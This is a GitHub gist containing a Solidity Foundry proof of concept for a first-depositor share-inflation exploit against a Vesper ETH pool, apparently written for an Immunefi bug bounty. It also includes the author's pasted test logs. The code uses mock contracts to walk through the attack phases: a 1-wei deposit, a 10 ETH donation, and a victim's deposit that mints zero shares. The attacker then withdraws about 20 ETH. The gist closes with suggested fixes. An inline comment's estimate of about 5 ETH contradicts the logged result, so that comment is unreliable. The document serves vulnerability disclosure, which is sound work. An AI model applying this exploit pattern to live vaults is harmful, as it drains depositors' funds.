Skip to content

Instantly share code, notes, and snippets.

@Preshy
Created June 21, 2026 20:44
Show Gist options
  • Select an option

  • Save Preshy/254227d37f264a3053946b073a70fd69 to your computer and use it in GitHub Desktop.

Select an option

Save Preshy/254227d37f264a3053946b073a70fd69 to your computer and use it in GitHub Desktop.
Vesper VPool first-depositor inflation PoC — minDepositLimit=1 enables vault draining
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
// ============================================================
// PoC: Vesper VETH — First-Depositor Share Inflation
// minDepositLimit = 1 wei enables front-running inflation
// Target: Vesper vaETH (Immunefi, no KYC, $50k critical)
// ============================================================
contract MockWETH {
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
function deposit() external payable { balanceOf[msg.sender] += msg.value; }
function withdraw(uint256 a) external {
require(balanceOf[msg.sender] >= a);
balanceOf[msg.sender] -= a;
payable(msg.sender).transfer(a);
}
function transfer(address to, uint256 a) external returns (bool) {
require(balanceOf[msg.sender] >= a);
balanceOf[msg.sender] -= a; balanceOf[to] += a; return true;
}
function approve(address s, uint256 a) external returns (bool) {
allowance[msg.sender][s] = a; return true;
}
function transferFrom(address f, address t, uint256 a) external returns (bool) {
require(allowance[f][msg.sender] >= a && balanceOf[f] >= a);
allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[t] += a; return true;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; }
}
contract VesperPool {
using SafeMath for uint256;
MockWETH public token;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
uint256 public minDepositLimit = 1;
uint256 public totalDebt;
constructor(address _token) { token = MockWETH(_token); }
function deposit(uint256 _amount) external {
require(_amount >= minDepositLimit, "below min");
uint256 shares = calculateMintage(_amount);
token.transferFrom(msg.sender, address(this), _amount);
balanceOf[msg.sender] += shares;
totalSupply += shares;
}
function withdraw(uint256 _shares) external {
require(balanceOf[msg.sender] >= _shares, "insuff");
uint256 amount = (_shares * pricePerShare()) / 1e18;
balanceOf[msg.sender] -= _shares;
totalSupply -= _shares;
token.transfer(msg.sender, amount);
}
function calculateMintage(uint256 _amount) public view returns (uint256) {
return (_amount * 1e18) / pricePerShare();
}
function pricePerShare() public view returns (uint256) {
if (totalSupply == 0 || totalValue() == 0) return 10**18;
return (totalValue() * 1e18) / totalSupply;
}
function totalValue() public view returns (uint256) {
return totalDebt + token.balanceOf(address(this));
}
function setTotalDebt(uint256 _debt) external { totalDebt = _debt; }
}
contract ExploitVesper is Test {
MockWETH public weth;
VesperPool public pool;
address attacker = address(0xBEEF);
address victim = address(0xCAFE);
function setUp() public {
weth = new MockWETH();
pool = new VesperPool(address(weth));
// Give attacker and victim WETH
weth.deposit{value: 100 ether}();
weth.transfer(attacker, 100 ether);
vm.deal(victim, 100 ether);
vm.prank(victim);
weth.deposit{value: 100 ether}();
}
function test_FirstDepositorInflation() public {
console.log("=== VESPER FIRST-DEPOSITOR INFLATION ===");
console.log("minDepositLimit:", pool.minDepositLimit(), "wei");
console.log("");
// Phase 1: Attacker front-runs with 1 wei deposit
vm.startPrank(attacker);
weth.approve(address(pool), 1);
pool.deposit(1);
uint256 shares = pool.balanceOf(attacker);
console.log("Phase 1: 1 wei deposit ->", shares, "shares");
console.log(" pricePerShare:", pool.pricePerShare());
vm.stopPrank();
// Phase 2: Attacker donates 10 ETH to inflate share price
vm.prank(attacker);
weth.transfer(address(pool), 10 ether);
console.log("");
console.log("Phase 2: Donated 10 ETH to pool");
console.log(" tokensHere:", weth.balanceOf(address(pool)));
console.log(" pricePerShare:", pool.pricePerShare());
// pricePerShare = (10 ETH + 1 wei) * 1e18 / 1 = ~10 ETH per share
// Phase 3: Victim deposits 10 ETH — gets shafted
vm.startPrank(victim);
uint256 victimDep = 10 ether;
weth.approve(address(pool), victimDep);
pool.deposit(victimDep);
uint256 victimShares = pool.balanceOf(victim);
uint256 victimValue = (victimShares * pool.pricePerShare()) / 1e18;
uint256 victimLoss = victimDep - victimValue;
console.log("");
console.log("Phase 3: Victim deposits 10 ETH");
console.log(" Shares received:", victimShares);
console.log(" Claimable value:", victimValue);
console.log(" Immediate loss:", victimLoss);
vm.stopPrank();
// Phase 4: Attacker withdraws their 1 share
vm.startPrank(attacker);
uint256 balBefore = weth.balanceOf(attacker);
pool.withdraw(1);
uint256 balAfter = weth.balanceOf(attacker);
uint256 received = balAfter - balBefore;
console.log("");
console.log("Phase 4: Attacker withdraws 1 share");
console.log(" Received:", received);
console.log(" Attacker profit from victim's deposit:",
received > 1 ether ? "YES" : "NO");
vm.stopPrank();
// Attacker donated 10 ETH and deposited 1 wei
// They received ~5 ETH back (half of the 10 ETH donation + victim's 10 ETH)
// Net: put in 10 ETH + 1 wei, got back ~5 ETH, left ~5 ETH in pool
// The inflation attack transfers victim's value to existing shareholders
assertGt(received, 1 ether, "attacker received significant share of pool");
assertLt(victimValue, victimDep, "victim lost value on deposit");
console.log("");
console.log("VERDICT: 1 wei min deposit = trivial front-run");
console.log("Fix: set minDepositLimit >> 0 (e.g. 1e18 for WETH)");
console.log(" or deploy pool with initial liquidity");
}
}
@Preshy

Preshy commented Jun 21, 2026

Copy link
Copy Markdown
Author

Ran 1 test for test/ExploitVesper.t.sol:ExploitVesper

[PASS] test_FirstDepositorInflation() (gas: 183376)

Logs:
=== VESPER FIRST-DEPOSITOR INFLATION ===
minDepositLimit: 1 wei
Phase 1: 1 wei deposit -> 1 shares
pricePerShare: 1000000000000000000
Phase 2: Donated 10 ETH to pool
tokensHere: 10000000000000000001
pricePerShare: 10000000000000000001000000000000000000
Phase 3: Victim deposits 10 ETH
Shares received: 0
Claimable value: 0
Immediate loss: 10000000000000000000
Phase 4: Attacker withdraws 1 share
Received: 20000000000000000001
Attacker profit from victim's deposit: YES
VERDICT: 1 wei min deposit = trivial front-run
Fix: set minDepositLimit >> 0 (e.g. 1e18 for WETH)
or deploy pool with initial liquidity

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.09ms (1.56ms CPU time)

Ran 1 test suite in 20.55ms (10.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment